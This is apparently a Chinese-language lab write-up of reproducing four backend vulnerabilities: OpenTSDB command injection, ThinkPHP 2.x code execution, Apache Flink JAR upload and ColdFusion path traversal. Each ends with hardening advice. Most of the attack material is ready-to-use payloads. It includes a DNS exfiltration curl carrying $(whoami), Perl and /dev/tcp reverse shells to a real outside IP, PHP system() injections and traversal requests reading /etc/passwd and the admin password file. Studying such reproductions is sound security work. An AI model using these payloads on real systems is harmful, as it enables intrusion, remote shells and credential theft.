后端漏洞(上)
OpenTSDB 命令注入漏洞(CVE-2020-35476)
漏洞背景
CVE-2020-35476 是 OpenTSDB 2.4.0 及更早版本中存在的命令注入漏洞。攻击者可通过 /api/suggest 接口的 q 参数注入恶意内容,利用底层 Gnuplot 的 system() 函数执行任意系统命令,从而实现远程代码执行(RCE)。
影响版本:OpenTSDB ≤ 2.4.0
利用条件:目标系统启用了/api/suggest接口,且未对用户输入进行过滤。
1. 复现环境中的命令注入漏洞
首先通过 API 查询 metrics 列表,发现为空:
GET /api/suggest?type=metrics&q=&max=10
接着向系统写入一条名为 sys.cpu.nice 的metric并添加一条记录:
POST /api/put
Content-Type: application/json
[{"metric":"sys.cpu.nice","timestamp":1693000000,"value":18,"tags":{"host":"web01"}}]
随后在 q 参数中注入命令:
GET /api/suggest?type=metrics&q=sys.cpu.nice$(touch%20/tmp/success)&max=10
进入容器验证,可见命令 touch /tmp/success 已成功执行。

利用过滤策略不完全实现 shell 注入

查看容器内 poc 执行成功

2. DNS 外带技术验证命令执行
尝试利用命令注入执行whomi命令,使用DNS外带技术获取结果:
由于无法直接回显,使用 DNSLog 进行外带验证。
DNSLog Platform获取一个会话并等待dns请求带回关键字$(whoami)
构造如下请求:
curl http://$(whoami).random.dnslog.cn
DNSLog 平台成功捕获请求,外带请求展示:

dnslog 响应

3. 反弹 Shell 成功获取交互式控制
利用反弹Shell方法,将漏洞环境的Shell反弹到宿主机或VPS服务器
Docker内没有netcat,lua,并且默认dash使bash语法不能生效。于是使用perl反弹shell:
Perl反弹由Online - Reverse Shell Generator (revshells.com)生成
perl -e 'use Socket;$i="47.109.111.193";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
测试语句实际可用

但通过web请求注入失败,查看CVE-2020-35476研究发现,实际上使用gnuplot的system函数实现命令注入,而gnuplot的system函数对多重引号支持有问题导致注入失败
perl -e ‘use…的单引号构成单引号闭合造成命令无法传入
尝试修改dash为bash,并注入反向shell以规避多层引号:
ln -s -f bash /bin/sh;sh -i >& /dev/tcp/47.109.111.193/2333 0>&1
Connection received on xx.xx.xx.xx 1191
sh: cannot set terminal process group (1): Inappropriate ioctl for device
sh: no job control in this shell
sh-5.1#
反弹shell成功

安全加固建议
- 升级 OpenTSDB:升级至 2.4.1 或更高版本。
- 禁用 Gnuplot 图形功能:若无需绘图,可关闭相关组件。
- 输入过滤:对
/api/suggest的q参数进行严格校验,禁止特殊字符。 - 网络隔离:限制 OpenTSDB API 仅对内网或可信 IP 开放。
- 最小权限运行:以非 root 用户运行服务。
参考资料
ThinkPHP 2.x 任意代码执行漏洞
漏洞背景
ThinkPHP 2.x 版本存在模板解析缺陷,攻击者可通过 URL 中的变量注入 PHP 代码并执行,无需身份验证即可实现远程代码执行。
影响版本:ThinkPHP 2.x
利用条件:应用未关闭调试模式,且未对用户输入进行过滤。
1. 执行 phpinfo() 验证漏洞
直接访问如下 URL:
GET /index.php?s=/index/index/name/$%7B@phpinfo()%7D
页面返回 PHP 配置信息,证明代码执行成功。
执行 phpinfo()

2. 读取目录结构
进一步执行系统命令:
GET /index.php?s=/index/index/name/$%7B@system('ls')%7D
GET /index.php?s=/index/index/name/$%7B@system('tree')%7D
成功列出当前目录及网站结构。
ls 打印当前目录

tree 打印网站结构

安全加固建议
- 升级框架:升级至 ThinkPHP 5+ 或使用官方安全补丁。
- 关闭调试模式:生产环境务必关闭
APP_DEBUG。 - 输入过滤:对 URL 参数进行白名单校验。
- 禁用危险函数:在
php.ini中禁用system、exec、eval等函数。 - WAF 防护:部署规则拦截
${@、$%7B@等特征。
参考资料
- ThinkPHP 官方文档
- OWASP Top 10: A03:2021 – Injection
Apache Flink 任意文件上传漏洞(CVE-2020-17518)
漏洞背景
CVE-2020-17518 是 Apache Flink Dashboard 中的任意文件上传漏洞。攻击者可上传恶意 JAR 包并通过 JobManager 执行,从而实现远程代码执行。
影响版本:Apache Flink < 1.11.2、1.10.3、1.9.6
利用条件:Flink Web UI 未授权访问,且允许上传 JAR 文件。
1. 上传 JAR 包执行命令
Flink支持上传jar包并且执行,所以可以通过上传jar包直接getshell
编写反弹 Shell 的 Java 程序,使用 Maven 打包为 JAR。首次使用高版本 Java 编译,上传失败:
java.lang.UnsupportedClassVersionError: main has been compiled by a more recent version...
注入失败,查看容器内报错发现
Caused by: java.lang.UnsupportedClassVersionError: main has been compiled by a more recent version of the Java Runtime (class file version 64.0), this version of the Java Runtime only recognizes class file versions up to 52.0.
结论:Java编译版本过高
切换至 Java 1.8 环境重新编译后,成功上传并执行。

upload success

getshell

安全加固建议
- 升级 Flink:升级至 1.11.2+、1.10.3+ 或 1.9.6+。
- 启用认证:配置 Flink Web UI 的身份验证(如 LDAP、Kerberos)。
- 禁止公网暴露:仅允许内网访问 Dashboard。
- 限制 JAR 上传:通过反向代理或 WAF 禁止
/jars/upload接口。 - 最小权限运行:以非 root 用户运行 Flink 进程。
参考资料
Adobe ColdFusion 文件读取漏洞(CVE-2010-2861)
漏洞背景
CVE-2010-2861 是 Adobe ColdFusion 中的路径遍历漏洞。攻击者可通过 locale 参数读取服务器任意文件,包括配置文件和系统文件。
影响版本:ColdFusion 8.0、8.0.1、9.0 等
利用条件:/CFIDE/administrator/enter.cfm可被未授权访问。
1. 读取敏感文件
构造如下请求读取系统文件:
GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en
成功返回 /etc/passwd 内容。
/etc/passwd

读取后台密码配置文件:
GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en
password

读取许可证文件:
GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../../opt/coldfusion8/license.txt%00en
/opt/coldfusion8/license.txt

安全加固建议
- 删除
/CFIDE目录:生产环境应移除该目录或限制访问。 - 启用认证:确保管理员界面强制登录。
- 路径规范化:对
locale等参数进行白名单校验。 - WAF 防护:拦截包含
../的请求。 - 升级或打补丁:应用 Adobe 官方安全更新。
Comments
Leave a comment